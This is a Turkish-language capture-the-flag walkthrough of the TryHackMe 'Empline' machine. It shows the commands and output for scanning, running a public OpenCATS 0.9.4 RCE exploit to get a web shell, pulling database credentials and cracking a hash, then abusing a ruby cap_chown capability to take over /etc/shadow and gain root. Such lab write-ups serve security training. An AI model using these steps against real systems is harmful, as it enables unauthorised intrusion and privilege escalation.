TryHackMe – Empline Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Empline” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.82.36                                                                                                                       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 13:46 EDT
Nmap scan report for 10.10.82.36
Host is up (0.082s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
3306/tcp open  mysql   MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2 — Sayfa kaynağını incelediğimde “job.empline.thm” alan adını görüyorum. Bu alan adını /etc/hosts dosyasına ekliyorum.

<li class="scroll-to-section"><a href="[http://job.empline.thm/careers](view-source:http://job.empline.thm/careers)" class="menu-item">Employment</a>

┌──(root㉿kali)-[/home/kali/Downloads]
└─# echo "10.10.82.36 job.empline.thm" | tee -a /etc/hosts         
10.10.82.36 job.empline.thm

3 — “job.empline.thm” adresine gittiğimde bir giriş sayfası ile karşılaşıyorum. Alt taraftaki “opencats 0.9.4” bilgisini görüyorum. Uygun bir zaafiyet bulmak için searchsploit aracını kullanıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit "opencats 0.9.4"    
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenCATS 0.9.4 - Remote Code Execution (RCE)                                                                                    | php/webapps/50585.sh
OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE)                                                                  | php/webapps/50316.py
-------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit -m 50585        
  Exploit: OpenCATS 0.9.4 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50585
     Path: /usr/share/exploitdb/exploits/php/webapps/50585.sh
    Codes: N/A
 Verified: False
File Type: HTML document, ASCII text
Copied to: /home/kali/Downloads/50585.sh

4 — Exploiti çalıştırıp bir bağlantı elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# sh 50585.sh http://job.empline.thm
 _._     _,-'""`-._ 
(,-.`._,'(       |\`-/|        RevCAT - OpenCAT RCE
    `-.-' \ )-`( , o o)         Nicholas  Ferreira
          `-    \`_`"'-   https://github.com/Nickguitar-e 

[*] Attacking target http://job.empline.thm
[*] Checking CATS version...
-e [*] Version detected: 0.9.4
[*] Creating temp file with payload...
[*] Checking active jobs...
50585.sh: 105: [[: not found
-e [+] Jobs found! Using job id 1
[*] Sending payload...
-e [+] Payload WJHCj.php uploaded!
[*] Deleting created temp file...                                                                                                                                 
[*] Checking shell...                                                                                                                                             
-e [+] Got shell! :D                                                                                                                                              
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux empline 4.15.0-147-generic #151-Ubuntu SMP Fri Jun 18 19:21:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
-e 
$ whoami
www-data

5 — “/var/www/opencats/config.php” dosyasını okuduğumda veritabanı yöneticisi hesabın parolasını buluyorum.

$ cat /var/www/opencats/config.php
*
CENSORED
*

6 — Makine üzerinde çalışan servisleri listelediğimde mysql servisi çalıştığını görüyorum.

$ netstat -anot  
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      off (0.00/0/0)
*
*

7 — Mysql veritabanındaki “opencats” veritabanının içindeki “user” tablosunda giriş bilgileri elde ediyorum. Hashi kırmak için Crackstation sitesini kullanıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# mysql -u james -h 10.10.82.36 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 94
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
*
MariaDB [(none)]> use opencats;
*
MariaDB [opencats]> show tables;
*
MariaDB [opencats]> select * from user;

8 — SSH bağlantısını kurduktan sonra ilk bayrağı elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh george@10.10.82.36 
*
*
george@empline:~$ ls
user.txt
george@empline:~$ cat user.txt
*CENSORED*

9 — Dosya sistemi üzerindeki dosyaların ve uygulamaların sahip oldukları yetenekleri listeliyorum. Daha sonra “ruby” komutundaki bu yeteneği suistimal etmek için GTFObins sitesinden gerekli olan komutu öğreniyorum. Root kullanıcısına geçtikten sonra ikinci bayrağı da elde ediyorum.

george@empline:~$ getcap / -r 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/local/bin/ruby = cap_chown+ep

george@empline:~$ ruby -e 'File.chown(1002,1002,"/etc/shadow")'
george@empline:~$ nano /etc/shadow
george@empline:~$ su root
Password: 

root@empline:/home/george# cd /root
root@empline:~# ls
root.txt
root@empline:~# cat root.txt
*CENSORED*